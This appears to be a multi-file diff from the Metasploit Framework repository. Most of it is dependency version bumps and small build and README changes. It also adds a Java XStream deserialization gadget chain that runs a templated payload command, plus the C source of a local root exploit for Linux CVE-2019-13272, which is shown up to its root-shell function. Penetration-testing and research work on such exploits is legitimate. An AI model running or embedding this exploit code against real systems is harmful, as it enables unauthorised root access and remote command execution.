activesupport (>= 4.2.0, < 5.0)
|
||||
nokogiri (~> 1.6)
|
||||
rails-deprecated_sanitizer (>= 1.0.1)
|
||||
rails-html-sanitizer (1.2.0)
|
||||
loofah (~> 2.2, >= 2.2.2)
|
||||
rails-html-sanitizer (1.3.0)
|
||||
loofah (~> 2.3)
|
||||
railties (4.2.11.1)
|
||||
actionpack (= 4.2.11.1)
|
||||
activesupport (= 4.2.11.1)
|
||||
rake (>= 0.8.7)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.3.3)
|
||||
rake (13.0.1)
|
||||
rb-readline (0.5.5)
|
||||
recog (2.3.2)
|
||||
recog (2.3.6)
|
||||
nokogiri
|
||||
redcarpet (3.5.0)
|
||||
rex-arch (0.1.13)
|
||||
@@ -300,7 +305,7 @@ GEM
|
||||
rex-arch
|
||||
rex-ole (0.1.6)
|
||||
rex-text
|
||||
rex-powershell (0.1.82)
|
||||
rex-powershell (0.1.83)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
rex-random_identifier (0.1.4)
|
||||
@@ -310,40 +315,40 @@ GEM
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.17)
|
||||
rex-socket (0.1.21)
|
||||
rex-core
|
||||
rex-sslscan (0.1.5)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.2)
|
||||
rex-text (0.2.23)
|
||||
rex-text (0.2.24)
|
||||
rex-zip (0.1.3)
|
||||
rex-text
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.8.0)
|
||||
rspec-core (~> 3.8.0)
|
||||
rspec-expectations (~> 3.8.0)
|
||||
rspec-mocks (~> 3.8.0)
|
||||
rspec-core (3.8.2)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-expectations (3.8.4)
|
||||
rspec (3.9.0)
|
||||
rspec-core (~> 3.9.0)
|
||||
rspec-expectations (~> 3.9.0)
|
||||
rspec-mocks (~> 3.9.0)
|
||||
rspec-core (3.9.1)
|
||||
rspec-support (~> 3.9.1)
|
||||
rspec-expectations (3.9.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-mocks (3.8.1)
|
||||
rspec-support (~> 3.9.0)
|
||||
rspec-mocks (3.9.1)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-rails (3.8.2)
|
||||
rspec-support (~> 3.9.0)
|
||||
rspec-rails (3.9.0)
|
||||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
rspec-core (~> 3.8.0)
|
||||
rspec-expectations (~> 3.8.0)
|
||||
rspec-mocks (~> 3.8.0)
|
||||
rspec-support (~> 3.8.0)
|
||||
rspec-core (~> 3.9.0)
|
||||
rspec-expectations (~> 3.9.0)
|
||||
rspec-mocks (~> 3.9.0)
|
||||
rspec-support (~> 3.9.0)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.8.2)
|
||||
rspec-support (3.9.2)
|
||||
ruby-macho (2.2.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby_smb (1.1.0)
|
||||
@@ -351,11 +356,11 @@ GEM
|
||||
rubyntlm
|
||||
windows_error
|
||||
rubyntlm (0.6.2)
|
||||
rubyzip (1.2.3)
|
||||
rubyzip (2.0.0)
|
||||
sawyer (0.8.2)
|
||||
addressable (>= 2.3.5)
|
||||
faraday (> 0.8, < 2.0)
|
||||
simplecov (0.17.0)
|
||||
simplecov (0.17.1)
|
||||
docile (~> 1.1)
|
||||
json (>= 1.8, < 3)
|
||||
simplecov-html (~> 0.10.0)
|
||||
@@ -366,28 +371,31 @@ GEM
|
||||
tilt (>= 1.3, < 3)
|
||||
sqlite3 (1.3.13)
|
||||
sshkey (2.0.0)
|
||||
swagger-blocks (2.0.2)
|
||||
swagger-blocks (3.0.0)
|
||||
thin (1.7.2)
|
||||
daemons (~> 1.0, >= 1.0.9)
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
thor (0.20.3)
|
||||
thor (1.0.1)
|
||||
thread_safe (0.3.6)
|
||||
tilt (2.0.9)
|
||||
tilt (2.0.10)
|
||||
timecop (0.9.1)
|
||||
ttfunk (1.5.1)
|
||||
tzinfo (1.2.5)
|
||||
ttfunk (1.6.1)
|
||||
tzinfo (1.2.6)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2019.2)
|
||||
tzinfo-data (1.2019.3)
|
||||
tzinfo (>= 1.0.0)
|
||||
warden (1.2.7)
|
||||
rack (>= 1.0)
|
||||
websocket-driver (0.7.1)
|
||||
websocket-extensions (>= 0.1.0)
|
||||
websocket-extensions (0.1.4)
|
||||
windows_error (0.1.2)
|
||||
xdr (2.0.0)
|
||||
activemodel (>= 4.2.7)
|
||||
activesupport (>= 4.2.7)
|
||||
xmlrpc (0.3.0)
|
||||
yard (0.9.20)
|
||||
yard (0.9.24)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
+49
-47
@@ -5,29 +5,28 @@ actionview, 4.2.11.1, MIT
|
||||
activemodel, 4.2.11.1, MIT
|
||||
activerecord, 4.2.11.1, MIT
|
||||
activesupport, 4.2.11.1, MIT
|
||||
addressable, 2.6.0, "Apache 2.0"
|
||||
addressable, 2.7.0, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
arel, 6.0.4, MIT
|
||||
arel-helpers, 2.10.0, MIT
|
||||
arel-helpers, 2.11.0, MIT
|
||||
aws-eventstream, 1.0.3, "Apache 2.0"
|
||||
aws-partitions, 1.207.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.65.1, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.106.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.29.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.24.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.47.0, "Apache 2.0"
|
||||
aws-partitions, 1.262.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.86.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.130.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.32.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.27.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.60.1, "Apache 2.0"
|
||||
aws-sigv4, 1.1.0, "Apache 2.0"
|
||||
backports, 3.15.0, MIT
|
||||
bcrypt, 3.1.12, MIT
|
||||
bcrypt_pbkdf, 1.0.1, MIT
|
||||
bindata, 2.4.4, ruby
|
||||
bit-struct, 0.16, ruby
|
||||
builder, 3.2.3, MIT
|
||||
builder, 3.2.4, MIT
|
||||
bundler, 1.17.3, MIT
|
||||
coderay, 1.1.2, MIT
|
||||
concurrent-ruby, 1.0.5, MIT
|
||||
cookiejar, 0.3.3, unknown
|
||||
crass, 1.0.4, MIT
|
||||
crass, 1.0.5, MIT
|
||||
daemons, 1.3.1, MIT
|
||||
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
|
||||
dnsruby, 1.61.3, "Apache 2.0"
|
||||
@@ -37,10 +36,11 @@ em-http-request, 1.1.5, MIT
|
||||
em-socksify, 0.3.2, MIT
|
||||
erubis, 2.7.0, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 5.0.2, MIT
|
||||
factory_bot_rails, 5.0.2, MIT
|
||||
faker, 2.2.0, MIT
|
||||
faraday, 0.15.4, MIT
|
||||
factory_bot, 5.1.1, MIT
|
||||
factory_bot_rails, 5.1.1, MIT
|
||||
faker, 2.2.1, MIT
|
||||
faraday, 0.17.0, MIT
|
||||
faye-websocket, 0.10.9, "Apache 2.0"
|
||||
filesize, 0.2.0, MIT
|
||||
fivemat, 1.3.7, MIT
|
||||
hashery, 2.1.2, "Simplified BSD"
|
||||
@@ -48,19 +48,19 @@ http_parser.rb, 0.6.0, MIT
|
||||
i18n, 0.9.5, MIT
|
||||
jmespath, 1.4.0, "Apache 2.0"
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.2.0, ruby
|
||||
loofah, 2.2.3, MIT
|
||||
json, 2.3.0, ruby
|
||||
loofah, 2.4.0, MIT
|
||||
metasm, 1.0.4, LGPL-2.1
|
||||
metasploit-concern, 2.0.5, "New BSD"
|
||||
metasploit-credential, 3.0.3, "New BSD"
|
||||
metasploit-framework, 5.0.45, "New BSD"
|
||||
metasploit-credential, 3.0.4, "New BSD"
|
||||
metasploit-framework, 5.0.69, "New BSD"
|
||||
metasploit-model, 2.0.4, "New BSD"
|
||||
metasploit-payloads, 1.3.70, "3-clause (or ""modified"") BSD"
|
||||
metasploit-payloads, 1.3.83, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 3.0.10, "New BSD"
|
||||
metasploit_payloads-mettle, 0.5.16, "3-clause (or ""modified"") BSD"
|
||||
method_source, 0.9.2, MIT
|
||||
mini_portile2, 2.4.0, MIT
|
||||
minitest, 5.11.3, MIT
|
||||
minitest, 5.13.0, MIT
|
||||
mqtt, 0.5.0, MIT
|
||||
msgpack, 1.3.1, "Apache 2.0"
|
||||
multipart-post, 2.1.1, MIT
|
||||
@@ -68,29 +68,29 @@ nessus_rest, 0.1.6, MIT
|
||||
net-ssh, 5.2.0, MIT
|
||||
network_interface, 0.0.2, MIT
|
||||
nexpose, 7.2.1, "New BSD"
|
||||
nokogiri, 1.10.4, MIT
|
||||
octokit, 4.14.0, MIT
|
||||
nokogiri, 1.10.7, MIT
|
||||
octokit, 4.15.0, MIT
|
||||
openssl-ccm, 1.2.2, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
packetfu, 1.1.13, BSD
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.0, LGPL-2.1
|
||||
pdf-reader, 2.2.1, MIT
|
||||
pdf-reader, 2.4.0, MIT
|
||||
pg, 0.21.0, "New BSD"
|
||||
pg_array_parser, 0.0.9, unknown
|
||||
postgres_ext, 3.0.1, MIT
|
||||
pry, 0.12.2, MIT
|
||||
public_suffix, 3.1.1, MIT
|
||||
rack, 1.6.11, MIT
|
||||
public_suffix, 4.0.3, MIT
|
||||
rack, 1.6.12, MIT
|
||||
rack-protection, 1.5.5, MIT
|
||||
rack-test, 0.6.3, MIT
|
||||
rails-deprecated_sanitizer, 1.0.3, MIT
|
||||
rails-dom-testing, 1.0.9, MIT
|
||||
rails-html-sanitizer, 1.2.0, MIT
|
||||
rails-html-sanitizer, 1.3.0, MIT
|
||||
railties, 4.2.11.1, MIT
|
||||
rake, 12.3.3, MIT
|
||||
rake, 13.0.1, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 2.3.2, unknown
|
||||
recog, 2.3.6, unknown
|
||||
redcarpet, 3.5.0, MIT
|
||||
rex-arch, 0.1.13, "New BSD"
|
||||
rex-bin_tools, 0.1.6, "New BSD"
|
||||
@@ -101,45 +101,47 @@ rex-java, 0.1.5, "New BSD"
|
||||
rex-mime, 0.1.5, "New BSD"
|
||||
rex-nop, 0.1.1, "New BSD"
|
||||
rex-ole, 0.1.6, "New BSD"
|
||||
rex-powershell, 0.1.82, "New BSD"
|
||||
rex-powershell, 0.1.83, "New BSD"
|
||||
rex-random_identifier, 0.1.4, "New BSD"
|
||||
rex-registry, 0.1.3, "New BSD"
|
||||
rex-rop_builder, 0.1.3, "New BSD"
|
||||
rex-socket, 0.1.17, "New BSD"
|
||||
rex-socket, 0.1.21, "New BSD"
|
||||
rex-sslscan, 0.1.5, "New BSD"
|
||||
rex-struct2, 0.1.2, "New BSD"
|
||||
rex-text, 0.2.23, "New BSD"
|
||||
rex-text, 0.2.24, "New BSD"
|
||||
rex-zip, 0.1.3, "New BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.8.0, MIT
|
||||
rspec-core, 3.8.2, MIT
|
||||
rspec-expectations, 3.8.4, MIT
|
||||
rspec-mocks, 3.8.1, MIT
|
||||
rspec-rails, 3.8.2, MIT
|
||||
rspec, 3.9.0, MIT
|
||||
rspec-core, 3.9.1, MIT
|
||||
rspec-expectations, 3.9.0, MIT
|
||||
rspec-mocks, 3.9.1, MIT
|
||||
rspec-rails, 3.9.0, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.8.2, MIT
|
||||
rspec-support, 3.9.2, MIT
|
||||
ruby-macho, 2.2.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby_smb, 1.1.0, "New BSD"
|
||||
rubyntlm, 0.6.2, MIT
|
||||
rubyzip, 1.2.3, "Simplified BSD"
|
||||
rubyzip, 2.0.0, "Simplified BSD"
|
||||
sawyer, 0.8.2, MIT
|
||||
simplecov, 0.17.0, MIT
|
||||
simplecov, 0.17.1, MIT
|
||||
simplecov-html, 0.10.2, MIT
|
||||
sinatra, 1.4.8, MIT
|
||||
sqlite3, 1.3.13, "New BSD"
|
||||
sshkey, 2.0.0, MIT
|
||||
swagger-blocks, 2.0.2, MIT
|
||||
swagger-blocks, 3.0.0, MIT
|
||||
thin, 1.7.2, "GPLv2+, Ruby 1.8"
|
||||
thor, 0.20.3, MIT
|
||||
thor, 1.0.1, MIT
|
||||
thread_safe, 0.3.6, "Apache 2.0"
|
||||
tilt, 2.0.9, MIT
|
||||
tilt, 2.0.10, MIT
|
||||
timecop, 0.9.1, MIT
|
||||
ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 1.2.5, MIT
|
||||
tzinfo-data, 1.2019.2, MIT
|
||||
ttfunk, 1.6.1, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 1.2.6, MIT
|
||||
tzinfo-data, 1.2019.3, MIT
|
||||
warden, 1.2.7, MIT
|
||||
websocket-driver, 0.7.1, "Apache 2.0"
|
||||
websocket-extensions, 0.1.4, "Apache 2.0"
|
||||
windows_error, 0.1.2, BSD
|
||||
xdr, 2.0.0, "Apache 2.0"
|
||||
xmlrpc, 0.3.0, ruby
|
||||
yard, 0.9.20, MIT
|
||||
yard, 0.9.24, MIT
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
Metasploit [](https://travis-ci.org/rapid7/metasploit-framework) [](https://codeclimate.com/github/rapid7/metasploit-framework) [](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
|
||||
Metasploit [](https://travis-ci.org/rapid7/metasploit-framework) [](https://codeclimate.com/github/rapid7/metasploit-framework/maintainability) [](https://codeclimate.com/github/rapid7/metasploit-framework/test_coverage) [](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
|
||||
==
|
||||
The Metasploit Framework is released under a BSD-style license. See
|
||||
COPYING for more details.
|
||||
[COPYING](COPYING) for more details.
|
||||
|
||||
The latest version of this software is available from: https://metasploit.com
|
||||
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
require File.expand_path('../rails_bigdecimal_fix', __FILE__)
|
||||
require 'rails'
|
||||
require File.expand_path('../boot', __FILE__)
|
||||
|
||||
|
||||
+2
-12
@@ -9,6 +9,8 @@ GEMFILE_EXTENSIONS = [
|
||||
msfenv_real_pathname = Pathname.new(__FILE__).realpath
|
||||
root = msfenv_real_pathname.parent.parent
|
||||
|
||||
require File.expand_path('../rails_bigdecimal_fix', __FILE__)
|
||||
|
||||
unless ENV['BUNDLE_GEMFILE']
|
||||
require 'pathname'
|
||||
|
||||
@@ -22,18 +24,6 @@ unless ENV['BUNDLE_GEMFILE']
|
||||
end
|
||||
end
|
||||
|
||||
# Remove bigdecimal warning - start
|
||||
# https://github.com/ruby/bigdecimal/pull/115
|
||||
# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266
|
||||
# TODO: remove when upgrading from rails 4.x
|
||||
require 'bigdecimal'
|
||||
|
||||
def BigDecimal.new(*args, **kwargs)
|
||||
return BigDecimal(*args) if kwargs.empty?
|
||||
BigDecimal(*args, **kwargs)
|
||||
end
|
||||
# Remove bigdecimal warning - end
|
||||
|
||||
begin
|
||||
require 'bundler/setup'
|
||||
rescue LoadError => e
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
# Remove bigdecimal warning - start
|
||||
# https://github.com/ruby/bigdecimal/pull/115
|
||||
# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266
|
||||
# TODO: remove when upgrading from rails 4.x
|
||||
require 'bigdecimal'
|
||||
|
||||
def BigDecimal.new(*args, **kwargs)
|
||||
return BigDecimal(*args) if kwargs.empty?
|
||||
BigDecimal(*args, **kwargs)
|
||||
end
|
||||
# Remove bigdecimal warning - end
|
||||
@@ -0,0 +1,54 @@
|
||||
<map>
|
||||
<entry>
|
||||
<jdk.nashorn.internal.objects.NativeString>
|
||||
<flags>0</flags>
|
||||
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
|
||||
<dataHandler>
|
||||
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
|
||||
<is class="javax.crypto.CipherInputStream">
|
||||
<cipher class="javax.crypto.NullCipher">
|
||||
<initialized>false</initialized>
|
||||
<opmode>0</opmode>
|
||||
<serviceIterator class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="java.util.Collections$EmptyIterator"/>
|
||||
<next class="java.lang.ProcessBuilder">
|
||||
<command>
|
||||
<%=payload_cmd%>
|
||||
</command>
|
||||
<redirectErrorStream>false</redirectErrorStream>
|
||||
</next>
|
||||
</iter>
|
||||
<filter class="javax.imageio.ImageIO$ContainsFilter">
|
||||
<method>
|
||||
<class>java.lang.ProcessBuilder</class>
|
||||
<name>start</name>
|
||||
<parameter-types/>
|
||||
</method>
|
||||
<name>foo</name>
|
||||
</filter>
|
||||
<next class="string">foo</next>
|
||||
</serviceIterator>
|
||||
<lock/>
|
||||
</cipher>
|
||||
<input class="java.lang.ProcessBuilder$NullInputStream"/>
|
||||
<ibuffer></ibuffer>
|
||||
<done>false</done>
|
||||
<ostart>0</ostart>
|
||||
<ofinish>0</ofinish>
|
||||
<closed>false</closed>
|
||||
</is>
|
||||
<consumed>false</consumed>
|
||||
</dataSource>
|
||||
<transferFlavors/>
|
||||
</dataHandler>
|
||||
<dataLen>0</dataLen>
|
||||
</value>
|
||||
</jdk.nashorn.internal.objects.NativeString>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
|
||||
</entry>
|
||||
<entry>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
|
||||
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
|
||||
</entry>
|
||||
</map>
|
||||
@@ -0,0 +1,4 @@
|
||||
|
||||
all:
|
||||
x86_64-linux-musl-cc -static -s -pie poc.c -o exploit
|
||||
|
||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,464 @@
|
||||
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
|
||||
// Uses pkexec technique
|
||||
// ---
|
||||
// Original discovery and exploit author: Jann Horn
|
||||
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
|
||||
// ---
|
||||
// <bcoles@gmail.com>
|
||||
// - added known helper paths
|
||||
// - added search for suitable helpers
|
||||
// - added automatic targeting
|
||||
// - changed target suid executable from passwd to pkexec
|
||||
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
|
||||
// ---
|
||||
// Tested on:
|
||||
// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
|
||||
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
|
||||
// - Ubuntu 19.04 kernel 5.0.0-15-generic
|
||||
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
|
||||
// - Linux Mint 17.3 kernel 4.4.0-89-generic
|
||||
// - Linux Mint 18.3 kernel 4.13.0-16-generic
|
||||
// - Linux Mint 19 kernel 4.15.0-20-generic
|
||||
// - Xubuntu 16.04.4 kernel 4.13.0-36-generic
|
||||
// - ElementaryOS 0.4.1 4.8.0-52-generic
|
||||
// - Backbox 6 kernel 4.18.0-21-generic
|
||||
// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
|
||||
// - Kali kernel 4.19.0-kali5-amd64
|
||||
// - Redcore 1806 (LXQT) kernel 4.16.16-redcore
|
||||
// - MX 18.3 kernel 4.19.37-2~mx17+1
|
||||
// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
|
||||
// - Debian 9.4.0 kernel 4.9.0-6-amd64
|
||||
// - Debian 10.0.0 kernel 4.19.0-5-amd64
|
||||
// - Devuan 2.0.0 kernel 4.9.0-6-amd64
|
||||
// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
|
||||
// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
|
||||
// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
|
||||
// - Mageia 6 kernel 4.9.35-desktop-1.mga6
|
||||
// - Antergos 18.7 kernel 4.17.6-1-ARCH
|
||||
// ---
|
||||
// user@linux-mint-19-2:~$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root
|
||||
// user@linux-mint-19-2:~$ ./ptrace_traceme_root
|
||||
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
|
||||
// [.] Checking environment ...
|
||||
// [~] Done, looks good
|
||||
// [.] Searching for known helpers ...
|
||||
// [~] Found known helper: /usr/sbin/mate-power-backlight-helper
|
||||
// [.] Using helper: /usr/sbin/mate-power-backlight-helper
|
||||
// [.] Spawning suid process (/usr/bin/pkexec) ...
|
||||
// [.] Tracing midpid ...
|
||||
// [~] Attached to midpid
|
||||
// To run a command as administrator (user "root"), use "sudo <command>".
|
||||
// See "man sudo_root" for details.
|
||||
//
|
||||
// root@linux-mint-19-2:/home/user#
|
||||
// ---
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <fcntl.h>
|
||||
#include <sched.h>
|
||||
#include <stddef.h>
|
||||
#include <stdarg.h>
|
||||
#include <pwd.h>
|
||||
#include <sys/prctl.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/user.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/stat.h>
|
||||
#include <linux/elf.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
#define SAFE(expr) ({ \
|
||||
typeof(expr) __res = (expr); \
|
||||
if (__res == -1) { \
|
||||
dprintf("[-] Error: %s\n", #expr); \
|
||||
return 0; \
|
||||
} \
|
||||
__res; \
|
||||
})
|
||||
#define max(a,b) ((a)>(b) ? (a) : (b))
|
||||
|
||||
/*
|
||||
* execveat() syscall
|
||||
* https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
|
||||
*/
|
||||
#ifndef __NR_execveat
|
||||
# define __NR_execveat 322
|
||||
#endif
|
||||
|
||||
static const char *SHELL = "/bin/bash";
|
||||
|
||||
static int middle_success = 1;
|
||||
static int block_pipe[2];
|
||||
static int self_fd = -1;
|
||||
static int dummy_status;
|
||||
static const char *helper_path;
|
||||
static const char *pkexec_path = "/usr/bin/pkexec";
|
||||
static const char *pkaction_path = "/usr/bin/pkaction";
|
||||
struct stat st;
|
||||
|
||||
const char *helpers[1024];
|
||||
|
||||
const char *known_helpers[] = {
|
||||
"/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
|
||||
"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
|
||||
"/usr/lib/unity-settings-daemon/usd-backlight-helper",
|
||||
"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
|
||||
"/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper",
|
||||
"/usr/sbin/mate-power-backlight-helper",
|
||||
"/usr/bin/xfpm-power-backlight-helper",
|
||||
"/usr/bin/lxqt-backlight_backend",
|
||||
"/usr/libexec/gsd-wacom-led-helper",
|
||||
"/usr/libexec/gsd-wacom-oled-helper",
|
||||
"/usr/libexec/gsd-backlight-helper",
|
||||
"/usr/lib/gsd-backlight-helper",
|
||||
"/usr/lib/gsd-wacom-led-helper",
|
||||
"/usr/lib/gsd-wacom-oled-helper",
|
||||
};
|
||||
|
||||
/* temporary printf; returned pointer is valid until next tprintf */
|
||||
static char *tprintf(char *fmt, ...) {
|
||||
static char buf[10000];
|
||||
va_list ap;
|
||||
va_start(ap, fmt);
|
||||
vsprintf(buf, fmt, ap);
|
||||
va_end(ap);
|
||||
return buf;
|
||||
}
|
||||
|
||||
/*
|
||||
* fork, execute pkexec in parent, force parent to trace our child process,
|
||||
* execute suid executable (pkexec) in child.
|
||||
*/
|
||||
static int middle_main(void *dummy) {
|
||||
prctl(PR_SET_PDEATHSIG, SIGKILL);
|
||||
pid_t middle = getpid();
|
||||
|
||||
self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
|
||||
|
||||
pid_t child = SAFE(fork());
|
||||
if (child == 0) {
|
||||
prctl(PR_SET_PDEATHSIG, SIGKILL);
|
||||
|
||||
SAFE(dup2(self_fd, 42));
|
||||
|
||||
/* spin until our parent becomes privileged (have to be fast here) */
|
||||
int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
|
||||
char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
|
||||
while (1) {
|
||||
char buf[1000];
|
||||
ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
|
||||
buf[buflen] = '\0';
|
||||
if (strstr(buf, needle)) break;
|
||||
}
|
||||
|
||||
/*
|
||||
* this is where the bug is triggered.
|
||||
* while our parent is in the middle of pkexec, we force it to become our
|
||||
* tracer, with pkexec's creds as ptracer_cred.
|
||||
*/
|
||||
SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
|
||||
|
||||
/*
|
||||
* now we execute a suid executable (pkexec).
|
||||
* Because the ptrace relationship is considered to be privileged,
|
||||
* this is a proper suid execution despite the attached tracer,
|
||||
* not a degraded one.
|
||||
* at the end of execve(), this process receives a SIGTRAP from ptrace.
|
||||
*/
|
||||
execl(pkexec_path, basename(pkexec_path), NULL);
|
||||
|
||||
dprintf("[-] execl: Executing suid executable failed");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
SAFE(dup2(self_fd, 0));
|
||||
SAFE(dup2(block_pipe[1], 1));
|
||||
|
||||
/* execute pkexec as current user */
|
||||
struct passwd *pw = getpwuid(getuid());
|
||||
if (pw == NULL) {
|
||||
dprintf("[-] getpwuid: Failed to retrieve username");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
middle_success = 1;
|
||||
execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name,
|
||||
helper_path,
|
||||
"--help", NULL);
|
||||
middle_success = 0;
|
||||
dprintf("[-] execl: Executing pkexec failed");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
/* ptrace pid and wait for signal */
|
||||
static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
|
||||
struct user_regs_struct regs;
|
||||
struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) };
|
||||
SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
|
||||
SAFE(waitpid(pid, &dummy_status, 0));
|
||||
SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
|
||||
|
||||
/* set up indirect arguments */
|
||||
unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
|
||||
struct injected_page {
|
||||
unsigned long argv[2];
|
||||
unsigned long envv[1];
|
||||
char arg0[8];
|
||||
char path[1];
|
||||
} ipage = {
|
||||
.argv = { scratch_area + offsetof(struct injected_page, arg0) }
|
||||
};
|
||||
strcpy(ipage.arg0, arg0);
|
||||
int i;
|
||||
for (i = 0; i < sizeof(ipage)/sizeof(long); i++) {
|
||||
unsigned long pdata = ((unsigned long *)&ipage)[i];
|
||||
SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
|
||||
(void*)pdata));
|
||||
}
|
||||
|
||||
/* execveat(exec_fd, path, argv, envv, flags) */
|
||||
regs.orig_rax = __NR_execveat;
|
||||
regs.rdi = exec_fd;
|
||||
regs.rsi = scratch_area + offsetof(struct injected_page, path);
|
||||
regs.rdx = scratch_area + offsetof(struct injected_page, argv);
|
||||
regs.r10 = scratch_area + offsetof(struct injected_page, envv);
|
||||
regs.r8 = AT_EMPTY_PATH;
|
||||
|
||||
SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
|
||||
SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
|
||||
SAFE(waitpid(pid, &dummy_status, 0));
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int middle_stage2(void) {
|
||||
/* our child is hanging in signal delivery from execve()'s SIGTRAP */
|
||||
pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
|
||||
return force_exec_and_wait(child, 42, "stage3");
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *
|
||||
|
||||
static int spawn_shell(void) {
|
||||
SAFE(setresgid(0, 0, 0));
|
